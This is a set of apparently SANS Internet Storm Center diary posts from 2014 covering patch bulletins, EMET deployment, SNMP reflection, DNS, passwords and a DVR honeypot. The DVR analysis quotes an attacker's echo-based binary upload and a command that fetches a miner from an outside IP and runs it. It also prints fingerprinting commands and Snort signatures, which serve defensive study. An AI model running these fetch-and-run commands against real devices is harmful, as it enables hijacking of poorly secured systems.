TL;DR ? Current versions in one simple table (I hope I got that right):

 

 

APSB14-14: covering Flash Player [1]. It fixes 6 different vulnerabilities, one of which was found earlier this year during the pwn2own contest (CVE-2014-0510).

These vulnerabilities affect Windows, Linux and OS X. Adobe assigned them "Priority 1" indicating that they may have been used in targeted exploits. This makes this a "Patch Now!" vulnerability for us.

CVE-2014-0510: pwn2own vulnerability. remote code execution with sandbox bypass.
CVE-2014-0516: Same origin bypass
CVE-2014-0517: Security feature bypass
CVE-2014-0518: Security feature bypass
CVE-2014-0519: Security feature bypass
CVE-2014-0520: Security feature bypass

APSB14-15: For Adobe Acrobat and Reader [2]

CVE-2014-0511: pwn2own vulnerability. remote code execution wiht sandbox bypass
CVE-2014-0512: pwn2own vulnerability. remote code execution wiht sandbox bypass
CVE-2014-0521: information disclosure in Javascript API
CVE-2014-0522: code execution (memory corruption)
CVE-2014-0523: code execution (memory corruption)
CVE-2014-0524: code execution (memory corruption)
CVE-2014-0525: code exectution (use after free?)
CVE-2014-0526: code execution (memory corruption)
CVE-2014-0527: code execution (use after free)
CVE-2014-0528: code execution (double free)
CVE-2014-0529: code execution (buffer overflow)

Like the Flash bulletin, this one is rated "Priority 1".

APSB14-11: Hotfix for Adobe Illustrator

CVE-2014-0513: code execution (Stack Overflow)

This bulletin is only rated "Priority 3".
 

[1] http://helpx.adobe.com/security/products/flash-player/apsb14-14.html
[2] http://helpx.adobe.com/security/products/reader/apsb14-15.html
[3] http://helpx.adobe.com/security/products/illustrator/apsb14-11.html

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Overview of the May 2014 Microsoft patches and their status.

IMPORTANT: Don't miss MS14-029. This bulletin fixes ANOTHER vulnerability in MSIE that has already been used in targeted exploits! 

------

Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

After my post last week on things a System Administrator can do to protect against zero days in your browser, operating systems and applications, one of the biggies for Windows is to deploy EMET - Microsoft's Enhanced Mitigation Experience Toolkit.  EMET implements advanced security controls that are not native to the operating system.  Using EMET, you can take advantage of security features from Windows 8, even if you are running Windows 7 or even to some extent on XPSP3.  Or you can beef up what's in Windows 8 with features that aren't anywhere but in EMET yet.

I've been running EMET for some time on my "production" laptop, and haven't had it cause an issue - ever.  However, I don't run any "corporate applications", and lots of the dedicated security tools I use are either in VMs or are deployed on different machines.  In a corporate environment, I'd still suggest that EMET is a great way to go, but you'll want to test this tool on a small but representative user group, then deply in stages.  If you've got a reasonably complex environment with apps that have been around since the 90's, then you are like most shops, and you can expect EMET to break things here or there - you'll really want to test this thoroughly before you roll it out en masse.

But there's the rub - how do you deploy EMET to a 20. 200, 2,000 or 20,000 desk environment, without going to every desk?  

And once it's there, how do you manage settings?

A really simple deploy can be done from the login script.  Something like works in lots of cases:

if exist "C:\Program Files (x86)\EMET 4.1\EMET_GUI.exe" goto EMETISOK
msiexec /i "\\uncpath\EMET Setup.msi" /qn /norestart
:EMETISOK

This assumes you're allowing users to install applications (which I'm hoping you don't do!)

At the other end of the spectrum, Microsoft documents rolling EMET out using SCCM in the EMET User's Guide.

However, if you want something between these two extremes - something more reliable than the login script, but you don't have SCCM in your environment, Carlos Perez has a great "How to deploy EMET using WSUS" doc, found here:
http://www.darkoperator.com/blog/2013/8/28/deploying-emet-40-in-small-to-medium-environments-using-wsus.html

OK, now it's installed, how do you manage all the dials and knobs that make up the dozens of options within EMET? 

You can go a long way down this road with Group Policy.  There are two files you need - EMET.adml and EMET.admx, located in the EMET directory: Deployment\Group Policy Files.  On the host you'll be building your Group Policies (usually on one or more of your Domain Controllers) copy EMET.adml to \Windows\PolicyDefinitions\en-US.  Copy EMET.admx to \Windows\PolicyDefinitions.  Once this is done, you'll have access to many of the EMET settings in Group Policy.

Computer Settings:

 

And User Settings:

You can also manage EMET from the CLI - you can export your EMET settings to an XML file once it's tuned (Microsoft includes 3 XML files with the tool), and you can import settings stored in  XML from the CLI.  If you have a group of stations or users with settings that are complex enough that Group Policy won't do the trick for you, you can can work out procedures using XML files for these users, either using a login script or a centralized script that might use psexec from Microsoft's sysinternals.

This is a really high level description of how you'd deploy EMET in a typical Windows shop.  Where I've done this, it really has been this simple - this is one of those tools that just works.  But if you've found a "gotcha", or a slick way of getting someting done in EMET, please add to the conversation in our comment form.

===============
Rob VandenBrink
Metafore

Microsoft released its pre-announcement for the upcoming patch Tuesday. The summary indicates a total of 8 bulletins, 2 are critical with remote code execution and 6 Important with a mix of remote code execution, elevation of privileges, denial of service and security bypass features. The announcement is available here.

[1] https://technet.microsoft.com/library/security/ms14-may

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

With the recent headlines, we've seen heartbleed (which was not exclusive to Linux, but was predominately there), an IE zero day that had folks over-reacting with headlines of "stop using IE", but Firefox and Safari vulnerabilities where not that far back in the news either.

So what is "safe"?  And as an System Administrator or CSO  what should you be doing to protect your organization?

It's great to say "Defense in Depth" and "The 20 Critical Controls", but that's easy to say and not so easy to do when you are faced with a zero day in the browser that your business application must have to run.  What can you do that's quick and easy, that offers some concrete protection for your community of 20, 200, 2,000 or 20,000 workstations?

I'm starting a list here, but this is by no means a well-researched, exhaustive and complete list, just a starting point:
Inventory your hosts and the software that you run.  Know your network, and know what's running on your servers and workstations.  (if this sounds like another way of saying "read the 20 controls, start implementing at #1 and work your way down the list", then you get my point).  After you inventory, read the list.  Expect a story on this in the next week or so.

Deploy EMET.  In the hype of "don't run IE" headlines, many of the folks who recommended this missed the fact that if you installed EMET, you were nicely protected against last week's 0-day.  Expect a story on this later today (yes, I'm on a bit of a tear).

Read your logs.  In every incident that I've worked, there's been *some* indication of the attack or compromise in logs somewhere - this is why you log after all.  This also holds true for system crashes and problems of any kind.  Troubleshooting always starts with your logs, but if you monitor logs for unusual things, you can expect less trouble to troubleshoot, because you'll see it before it gets to be a problem.  If there are too many logs (yes, log volumes are insane), deploy a tool (there are tons of free ones) that will help you with this.  ELSA (https://code.google.com/p/enterprise-log-search-and-archive/) is a decent starting point for log consolidation and prioritizing, but it's by no means the only solution - find what works for you and use it.

Control your network perimeter (if you can define a perimeter).  Put an egress filter that allows what you need, then has a deny any/any/log statement at the bottom.  The "log" part makes it simpler to add new list entries to satisfy new business requirements as they come up.

Also at your perimeter, have the ability to block some of the "problem" applictions when you know that things have gone particularly bad.  For instance, if there is a Flash zero-day, there's no shame in sending a note to your users to say "we have to block flash at the firewall for a few days until there's a fix".  Ditto that for ActiveX, Java, PDF files and whatever else you'd care to add to the list.  

Many of these settings are simple tick-boxes at the firewall, some are IPS signatures or some might need a proxy or web content filter product.  The key to all of these is to be prepared, know where the knobs are that you need to tweak, and know what you can and can't do both technically and within your organization.  If you're caught by surprise and put a "fix" together in a hurry, document what you did so you can re-use that next time, or improve it when you have an hour to spare.

Talk to your users.  Keep a steady flow of communication going, let them know what's going on.  Call this "Security Awareness Training" if that scores you points, but the object of the game is to keep your user community in the loop - the more they know about what they should do or not do (and why), the fewer problems will come your way from that direction.  Also, the more that IT and the Security Team is seen as helping and advising (in a good way), the more slack they'll cut you when you need it - for instance when you need to block Flash, PDF files or their favourite website for a day or three.

We've been saying this for years, but I still have clients who say "we trust our people, why would we do any of that".  My answer remains "so you trust their malware too?".

I'd invite you, our readers to add to this list in the comments.  This is meant as just a starting point - what have I missed?  What has worked for you?

===============
Rob VandenBrink
Metafore

It started with DNS: Simple short DNS queries are easily spoofed and the replies can be much larger then the request, leading to an amplification of the attack by orders of magnitude. Next came NTP. Same game, different actors: NTP's "monlist" feature allows for small requests (again: UDP, so trivially spoofed) and large responses. 

Today, we received a packet capture from a reader showing yet another reflective DDoS mode: SNMP. The "reflector" in this case stands nicely in line for our "Internet of Things" theme. It was a video conferencing system. Firewalling these systems is often not practical as video conferencing systems do use a variety of UDP ports for video and audio streams which are dynamically negotiated. As a result, they are often left "wide open" . And of course, these systems not only let attackers spy on your meeting rooms, but the also make great SNMP reflectors as it turns out.

Here is an anonymized traffic capture (target anonymized with 192.0.2.1):

117.27.239.158 -> 192.0.2.1 SNMP 87 getBulkRequest 1.3.6.1.2.1.4.21.1.1
192.0.2.1 -> 117.27.239.158 IPv4 1514 Fragmented IP protocol (proto=UDP 17, off=0, ID=1f48)
192.0.2.1 -> 117.27.239.158 IPv4 1514 Fragmented IP protocol (proto=UDP 17, off=1480, ID=1f48)
... [ additional fragments omitted ] ...
192.0.2.1 -> 117.27.239.158 IPv4 1514 Fragmented IP protocol (proto=UDP 17, off=54760, ID=1f48)
192.0.2.1 -> 117.27.239.158 IPv4 1514 Fragmented IP protocol (proto=UDP 17, off=56240, ID=1f48)
192.0.2.1 -> 117.27.239.158 SNMP 664 get-response    [... large response payload ...]

That is right! A simple 87 byte "getBulkRequest" leads to about 60k Bytes of fragmented data being sent back. We can only assume that poor 117.27.229.158 is the victim of this DoS attack. The user reporting this saw about 5 MBit/sec of traffic. 

Similar to what we have seen with other reflective attacks like this, the fragmentation of the traffic is likely going to make filtering even harder. Prolexic posted a white paper about some of the different DrDOS attacks, including SNMP attacks [1]

So what to do:

- SNMP should probably not traverse your perimeter. Stop it at the firewall. (and I don't think video conferencing systems need it)
- proper egress/ingress control is a good idea.  But you already knew that.

[1] http://www.prolexic.com/kcresources/white-paper/white-paper-snmp-ntp-chargen-reflection-attacks-drdos/An_Analysis_of_DrDoS_SNMP-NTP-CHARGEN_Reflection_Attacks_White_Paper_A4_042913.pdf

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

It hasn't really been reported much, but just after Microsoft sort of stopped releasing patches for Windows XP last month, we now have to get going on the next phase-out: Windows 8.1! 

[In a first version of this diary, I stated that support ends tomorrow. As a reader points out in a comment, Microsoft announced earlier today that it extended the deadline by a month] [5]

As Microsoft wraps it in beautiful marketing speak: 

"Since Microsoft wants to ensure that customers benefit from the best support and servicing experience and to coordinate and simplify servicing across both Windows Server 2012 R2, Windows 8.1 RT and Windows 8.1, this update will be considered a new servicing/support baseline... beginning with the May Patch Tuesday, Windows 8.1 user's devices without the update installed will no longer receive security updates." [1]

To make things a bit more interesting, there are 3 different versions of what people commonly refer to as "Windows 8":

"Windows 8" , "Windows 8.1" and "Windows 8.1 Update". 

I guess in the old days, "Windows 8.1 Update" would be considered a "Service Pack". But then again, that would be something people are used to and not all that confused by, so Microsoft figured to mix it up and call this one "Windows 8.1 Update".

Sadly, there are reports that individuals have problems installing Windows 8.1 Update. You can now even deliver Windows 8.1 Update via WSUS, even though Windows 8.1 initially broke WSUS.  [2][3]

So with WSUS fixed, and Windows 8.1 Update only breaking some of your systems, you will now be in grant shape for making Windows 8.1 Update your new baseline as this will be the last patch Tuesday for Windows 8.1 Pre-update patches.

Haven't upgraded to Windows 8.1 and still not missing the "Start" button? You should be good until 2023. Lots of time to get used to the new interface. But Windows 8 will only be available for retail sale until end of October [4]. 

[1] http://blogs.technet.com/b/gladiatormsft/archive/2014/04/12/information-regarding-the-latest-update-for-windows-8-1.aspx

[2] http://blogs.windows.com/windows/b/springboard/archive/2014/04/16/windows-8-1-update-and-wsus-availability-and-adjusted-timeline.aspx

[3] http://support.microsoft.com/kb/2959977

[4] http://windows.microsoft.com/en-us/windows/lifecycle

[5] http://blogs.windows.com/windows/b/windowsexperience/archive/2014/05/12/windows-8-1-update-requirement-extended.aspx

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

A couple weeks ago, Dropbox announced that it invalidated some old "shared links" users used to share confidential documents, like tax returns [1] . The real question here is of course, how did these tax returns get exposed in the first place. 

Dropbox usually requires a username and a password to access documents, and even offers a two-factor solution as an option. But regardless, the user may allow a document to be access by others, who just know the "secret" link.

As we all know, the problem is "secret" links easily leak. But as users rely more on cloud services to share files, and passwords for each shared file are way too hard to set up, this is going to happen more and more. Dropbox isn't the only such service that offers this feature. In a recent discussion with some banks, the problem came up in that more and more customers attempt to share documents with the bank for things like mortgage applications. While the banks do refuse to accept documents that way, the pressure exists and I am sure other businesses with less regulatory pressure, will happily participate.

For a moment, lets assume the cloud service works "as designed" and your username and password is strong enough. Cloud services can be quite useful as a cheap "offsite backup", for example to keep a list of serial numbers of your possessions in case of a burglary or catastrophic event like a fire. But as soon as you start sharing documents, you run the risk of others not taking care of them as well as you would. May it be that their passwords are no good, or maybe they will let the "secret link" you gave them wander. 

Confidential personal, financial or medical information should probably not go into your cloud account. And if they do, encrypt before uploading them. 

Here are a couple of steps to de-cloud your life:

- setup an "ownCloud" server. It works very much like Dropbox with mobile clients available for Android and iOS. But you will have to run the server. I suggest you make it accessible via a VPN connection only. Sharepoint may be a similar solution for Windows folks.

- run your own mail server: This can be a real pain and even large companies move mail services to cloud providers (only to regret it later ...?). But pretty much all cloud mail providers will store your data in the clear, and in many ways they have to. Systems to provide real end-to-end encryption for cloud/web-based e-mail are still experimental at this point.

- Offsite backup at a friends/relatives house. With wide spread use of high speed home network connections, it is possible to setup a decent offsite backup system by "co-locating" a simple NAS somewhere. The disks on the NAS can be encrypted and the connection can use a VPN again.

- For Apple users, make local backups of your devices instead of using iCloud. iCloud stores backups unencrypted and all it takes for an attacker to retrieve a backup is your iCloud username/password.

Any other tips to de-cloud?

[1] https://blog.dropbox.com/2014/05/web-vulnerability-affecting-shared-links/

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

The last couple of days, a lot of readers sent us links to articles proclaiming yet another new flaw in DNS. "Critical Vulnerability in BIND Software Puts DNS Protocol Security At Risk" [1] claimed one article, going forward to state: "The students have found a way to compel DNS servers to connect with a specific server controlled by the attacker that could respond with a false IP address. “

So how bad is this really?

First of all, here is a the "TL;DR;" version of the vulnerability:

A domain usually uses several authoritative DNS servers. A recursive DNS server resolving a domain will pick a "random" authoritative DNS server for this particular domain. The real question is: How random? Actually as it turns out, it isn't random at all, and this is a features. BIND attempts to use the fastest name server, and has a special algorithm ( Smoothed Round Trip Time or SSRT algorithm) to figure out which server to use. 

The vulnerability found here allows an attacker to influence the SSRT values in order to direct the name server to use a specific authoritative name server for a domain.

So the result is that the attacker can determine which authoritative name server is being used. BUT it has to be among the set of valid authoritative name servers. The attacker can not redirect the queries to an arbitrary name server of the attackers choosing.

So how does this make DNS spoofing easier?

The attacker has to guess three variables in order to spoof a DNS response:

1. the query id (1/65535)
2. the source port (theoretically 1/65535, but in most implementations more like 1/5000).
3. the name server IP (average 1/4) 

By pinning the name server IP, the attacker will only gain a marginal advantage. The issue may be more of a problem if one of the servers is compromised. But in this case, DNS spoofing isn't really your #1 priority.

Without DNSSEC, DNS spoofing is certainly possible, and this attacks makes it a bit more likely. But this attack is hardly a game changer and only provides a minor advantage to the attacker. 

What should you do?

Relax... finish your coffee... read up on DNSSEC and apply BIND patches as they become available (because it is always good to patch.)

Also the original presentation/paper is available as well and a lot better then some of the news reports covering it.

How hard is it to implement DNSSEC? It isn't trivial, but more recent versions of BIND make it a lot easier by automating some of the re-signing tasks. It is easiest if your registrar supports it and you host your zones with them. For example the registrar I host a couple of my domains with automates the entire process for about $5/year. 

[1] http://thehackernews.com/2014/05/critical-vulnerability-in-bind-software.html
[2] https://www.usenix.org/conference/woot13/workshop-program/presentation/hay

We also had another recent article covering some new DNS spoofing techniques:

New tricks that may bring DNS spoofing back or: "Why you should enable DNSSEC even if it is a pain to do"

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

As we all know, web standards are only leaving "draft" status once they start becoming irrelevant. It is a constant challenge to keep up with how web browsers interpret standards and how the standards themselves keep changing. We are just going through one of the perpetual updates for our "Defending Web Applications" class, and I got reminded again about some of the changes we had to make over the last year or so.

Autocomplete=Off

This weekend we just had yet another post about people picking bad passwords. The only real way around this problem is a password manager. For a long time, browsers included features to allow you to save passwords. But historically, these features were not liked very well as they tended to protect the password inadequately. But with the number of leaked passwords going up and up, and browser makers feeling more confident about their built in password safe features, some browsers started to ignore this setting. For example recent versions of Chrome and Safari will offer saving your password no matter if the "autocomplete=off" attribute is set or not.

BTW: You may still need to keep your autocomplete=off attribute in your forms to pass the PCI audit. After all, in this case you are not defending against hackers but against auditors and the attribute still works great to fend of auditor questions.

In the end, this means it is up to the user to decide to enable or disable this feature, and what password safe to use. Personally I don't think you can do without a password safe. But some people still think they can remember > 100 random passwords/passphrases. (I am having a hard time with one or two).

Cookie2 Headers

"nobody" ever really used the Cookie2 header. It was supposed to address privacy concerns people had with regular cookies. Cookies set via the Cookie2 header are essentially session cookies. They can not be set "cross domain" and they expire as soon as you close the browser. But that was back in the day when people still considered privacy as something attainable. RFC 6265 officially obsoletes Cookie2 back in 2011. I guess nobody noticed (me neither) because nobody uses it.

URL Bars

Another "good old days" feature of many browsers was URL bars. They are slowly disappearing. The simple reason is that most users (no... you are not "most users" as you are reading this post) have no idea what a URL is or how to decipher it. It all started with mobile browsers who pushed the URL off the screen as soon as possible to save the few mega pixels it would take to render the URL bar. I think it was Internet Explorer 8 where I first noticed that the URL bar got squished into a corner in order to provide more space for the search bar. Google now is tying to make this change more official by only showing the hostname, not the full URL, in recent beta releases of Chrome. The idea here is that the hostname is what matters and the other parts of the URL are usually just used by phishers to confuse the user as to the actual location of the page.

Anything I missed? Not looking for brand new features like HTTP/2.0 but for old features that no longer work in new browsers and are somewhat security related. I may add a couple more items to this post or as a comment as I remember them.

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

The Criminals Behind It

After posting this diary, a brand new twitter account was used to post two tweets admitting to be behind this particular string of *coin miners:

The python code posted to pastebin looks like a plausible source of these scans. 

 

The Infection

We talked before about DVRs being abused as bitcoin (or better Litecoin) mining bots. As part of my "IoT Honeypot Lab", I started adding a DVR to see how long it took to get compromised. The DVR was installed "as purchased" and port 23 was exposed to the internet.

Initially, I saw a number of scans that found the DVR and started brute forcing passwords. These attempts ran pretty much continuously. During the first day of the test, 13 different source IPs scanned our honeypot, 6 managed to log in using the default username and password ("root", "12345").

Only one of the attackers went beyond a simple "fingerprint" of the honeypot.

Part of this attack I didn't quite understand until capturing it fully in my honeypot was how the attacker uploads the bitcoin mining binary. This DVR has no "upload" feature. There is no wget nor is there an ftp or telnet client. Instead, the initial transfer has to happen via the telnet console (nope... "kermit" isn't available either). Turns out that the attacker appears to use a wrapper script that uses a series of "echo" commands to upload the initial binary. 

Here is a quick example of one of these echo commands (spaces added to allow for sensible line breaks):

echo -ne '\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00 \x00\x31\x00\x00\x00\x00\x00 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00 \x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm && echo -e '\x64\x6f\x6e\x65'

The first echo writes 51 bytes to "/var/run/rand0-btcminer-arm" and the second echo returns "done", indicating that the system is ready for the next echo command.

Unlike the name implies, "rand0-btcminer-arm" is not a bitcoin miner. Instead, it just appears to be a version of "wget". Later, this wget is used to retrieve the actual miner:

./rand0-btcminer-arm http://107.178.66.153/btcminer-arm && chmod u+x btcminer-arm && ./btcminer-arm -B -o stratum+tcp://204.124.183.242:3333 -t 4 -q && echo -ne '\x64\x6f\x6e\x65'

Again, a final "done" is sent to confirm execution.

Next, the miner connects to the supplied startum proxy. The protocol exchanges JSON objects handing out workloads to different miners, effectively distributing a particular workload among many miners [1]

Our DVR first subscribes:

{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.3.3"]}

and later, the miner sends an authorization request without username / password that appears to be accepted:

request: {"id": 2, "method": "mining.authorize", "params": ["", ""]}
response: {"error": null, "id": 2, "result": true}

Throughout the day, the server periodically pushes parameters to the miner, but I haven't seen the miner return anything yet, which probably underscores the fact that these miners are pretty useless due to their weak CPUs.

The DVR did get infected multiple times, but none of the attackers changed the default password, or removed prior bitcoin miners. 

The Device

In this test, I used an EPCOM Hikvision S04 DVR without any cameras attached [2] . I purchased it off eBay ans as far as I can tell, it came in factory new condition. The device appears to be mostly built for the central/south American market. It's default language is Spanish. On first setup, the user is not asked to change the password. The only input device delivered with the system is a USB mouse and an on-screen keyboard is used. If the user changes the default password, the user is at first only offered a number-only keyboard, but it can easyly be switched to a full keyboard (again only on-screen). The configuration allows the user to change a number of different parameters. For example, it is possible to change the HTTP port used by the device. However, I have not found a reference to the telnet server in the configuration menus. There appears to be no ability to turn it off, or change the port. I also haven't seen a firewall function. The device is IPv6 capable and is more likely to be exposed to the outside world in an IPv6 setup. The device uses EUI-64 derived addresses which are somewhat guessable given that the OUI of "8c:e7:48" appears to be common to these devices (this OUI is interestingly just assigned to "Private").

Figure 1: DVR change password dialog (click on image for larger version)

Indicators of Compromise:

Port 3333 TCP appears to be the preferred "miner" port and should be monitored.

I expect the IP addresses involved to be more ephemeral. But refer to the full packet capture for details. Here are a couple of snort signatures that worked for me:

# detect if we do have an exposed DVR in our network
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "DVR Login Prompt"; sid: 1100001; content: "|0a|dvrdvs login: "; flow: from_server, establishe\
d;)
# detect "banner" returned by busybox. Removed detailed version information
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "Successful BusyBox Telnet Login"; sid: 1100002; content: "BusyBox v"; content: "built-in shel\
l (ash)"; within: 60; flow: from_server, established;)
# specific "Subscribe" request used by this miner. May need to be a bit more generic. E.g. keep port at "any" ?
alert TCP $HOME_NET any -> $EXTERNAL_NET 3333 (msg: "bitcoin miner subscribe request"; sid: 1100003; content: "{\"id\": 1, \"method\": \"mining.\
subscribe\", \"params\"";)

Packet Capture

You can find a full packet capture at https://isc.sans.edu/diaryimages/dvrminer.pcap.

here some of the highlights to look for:

Frame 1-43: First successful login from 142.0.45.42. The attacker logs in and explores the DVR (cat /proc/version and ps). The attacker checks if the "echo" trick works and if wget is available (it is not available). Each commands ends with an "echo" command that indicates the return status. It is likely that this is a particular tool that is used to automate this exchange.

Frame 44-1229 (tcp.stream eq 1): The attacker now "uploads" wget using the "echo" trick, the uses wget to download the miner and starts the miner.

Frame 831-1223 (tcp.stream eq 2): This is the download of the bitcoin miner initiated in the prior connection. The download connects to 107.178.66.153. Looks like 107.178.66.153 runs lighttpd based on the banner returned.

Frame 1217-1246 (tcp.stream eq 3): The bitcoin miner connection.

The "game" repeats later after the honeypot was rebooted and the miner exited as a result.

[1] http://mining.bitcoin.cz/stratum-mining
[2] http://www.syscom.mx/principal/verproductoazul/s04-epcom-powered-by-hikvision-21142.html

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Verizon have released their 2014 Data Breach Report which is classified in 9 attack patterns, each have their own section grouped by industries. Their 60 pages reports provides some interesting statistics that are well illustrated, for example: servers are still the primary target because actors know that is where the data is likely to be. This isn't really a surprise that "They plainly show that attackers are getting better/faster at what they do at a higher rate than defenders are improving their trade."[3]

The report can be downloaded here.

[1] http://www.verizonenterprise.com/DBIR/2014/
[2] http://www.verizonenterprise.com/DBIR/gfx/chart.png
[3] http://www.verizonenterprise.com/DBIR/2014/reports/rp_Verizon-DBIR-2014_en_xg.pdf

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

I recently had the opportunity to look at a sample of key-logged passwords collected from compromised machine over a period of 4 years.  I wanted to share some of the takeaways, since I'm not comfortable sharing too many of the details.

From a collection of website credentials stolen by key-logger software I observed three common, trivially-predictable patterns.  The first was use of the term "password" slightly modified.  for example, Pa55w0rd, or PaSsW0rd, etc., etc.  The second was the use of a name followed by a 1.  For example, elizabeth1.  The surprise pattern, and the most common in the sample I got to look at involved the name of the site with 123 tacked on the end.  For example, isc123.

From a collection of remote-access passwords (shell, RPD, etc.) the usual suspects where admin/administrator (in various languages administrador, administrateur,) various permutations of "password," and the varying lengths of sequential digits (e.g. 1234, like your suitcase.)

In these samples, the source was a plain-text exposure, so it really didn't matter how complex or secure the passwords, since they were captured in the clear.  However, this gives us insight into how much effort is required to extract passwords when hashed credentials are exposed.  This also explains why brute-forcing remote access credentials is still profitable.

• As a user, you should avoid using these quick, throwaway passwords.

• As a website owner, you should not allow passwords ending in 1 or 123, that's a pretty simple filter to implement.

• As a network owner, you should be brute forcing your own access credentials using a short hit-list.

• As an ISC Handler, you should practice what you preach.

Tom Webb

A new paper(1) discussing vulnerabilities on WPA2-PSK was released recently and many people have been interested in it, but have not gained access. By using a library, yes they still exist and are still useful, I was able to get access to the paper.

WPA2-PSK has a key length between 8 to 63 ASCII characters. They collected WPA2 handshakes using Aireplay deauthentication attack. Their method uses pre generated dictionary of 666,696 entries and Aircrack to bruteforce the password in their test.  They wrote a program that would generate a dictionary of all possible 95 ASCII characters for the entire PSK key space. They also discuss ways to prevent this type of attack.  

While the methodology is sound and I applaud anyone that publishes papers, but didn’t uncover a new flaw. WPA2 Rainbow tables(2) have been around for a while and you gain a huge speed advantages in this case. Pure brute forcing the entire ASCII passwords can be done without a pre generated dictionary and they didn’t discuss any speed trade-off by doing this.  I would love to see a follow-up with comparisons.

Check with your library and see if they have it, or if they can do a interlibrary loan. What do you think of the paper?

 

1. Tsitroulis, Achilleas, Dimitris Lampoudis, and Emmanuel Tsekleves. "Exposing WPA2 security protocol vulnerabilities." International Journal of Information and Computer Security 6.1 (2014): 93-107.

 

--

Tom Webb

Microsoft will release a special update later today (10am PT, 1pm ET, 7pm UTC) fixing the Internet Explorer vulnerability which has been used in targeted attacks recently. The vulnerability was announced late last week and affects Internet Explorer 6 and later on Windows versions back to Windows XP. The patch will be published as MS14-021 in line with the May update which is still expected for Tuesday, May 13th.

We do rate this bulletin as "PATCH NOW!" for clients. Even though many organizations started to move away from Internet Explorer as a primary browser, it may still launch in some cases and unless you are using a non-Microsoft operating system you are likely vulnerable. Even servers should apply this patch, but it is less likely that the vulnerability is exposed on a server. Microsoft downplays the risk of the vulnerability for servers by labeling it as "Moderate" due to the crippled default configuration of Internet Explorer on servers. 

The patch pre-announcement does specifically list Widnows XP SP3 as vulnerable, indicating that the patch may cover Windows XP SP 3 even though no more patches were expected for Windows XP.

Overview of the May 2014 Microsoft patches and their status.

[1] https://technet.microsoft.com/en-us/library/security/ms14-may.aspx

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

My little "lab of vulnerable devices" is still getting regular visits from script kiddies world wide. By now, I replaced some of the simulated honeypots with actual devices, giving me a bit a more accurate view of what is happening and how attackers are distinguishing honeypots from real devices. For example, the DVR I set up with default telnet credentials is getting regularly visited and the following command tends to get executed first:

/bin/busybox;echo -e '\147\141\171\146\147\164'

The output is busybox "help" screen, followed by the characters represented by the "echo" command. The characters are represented in octal in this case.

For example, on my busybox DVR:

[root@dvrdvs /] # echo -e '\101\102\103\104\105\106'
ABCDEF

On the other hand, the same command on my MAC or a "normal" Linux system:

$ echo -e '\101\102\103\104\105\106'
\101\102\103\104\105\106

(the actual string used is a bit different but spells out a word I didn't feel comfortable posting here)

I also set up a little web based scanner to test for vulnerable DVRs. The scanner will try to connect via telnet using the common default credentials "root" and "12345". If the login is successful, the scanner will try to run "ps" to look for the "cmd.so" entry commonly associated with the litecoin miner we found recently on these devices. You can find the scanner at https://isc.sans.edu/tools/dvrtest.html . By default, it will just scan the IP address you are connecting from. If you log in, you may specify other IP addresses. Please only use against IP addresses you are authorized to scan.

And a quick update on the "honeypot fingerprinting": I am also seeing "echo -e \\x51\\x51" . But this appears to return "QQ" no matter if it is running on the DVR or a normal Linux system.

------

Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter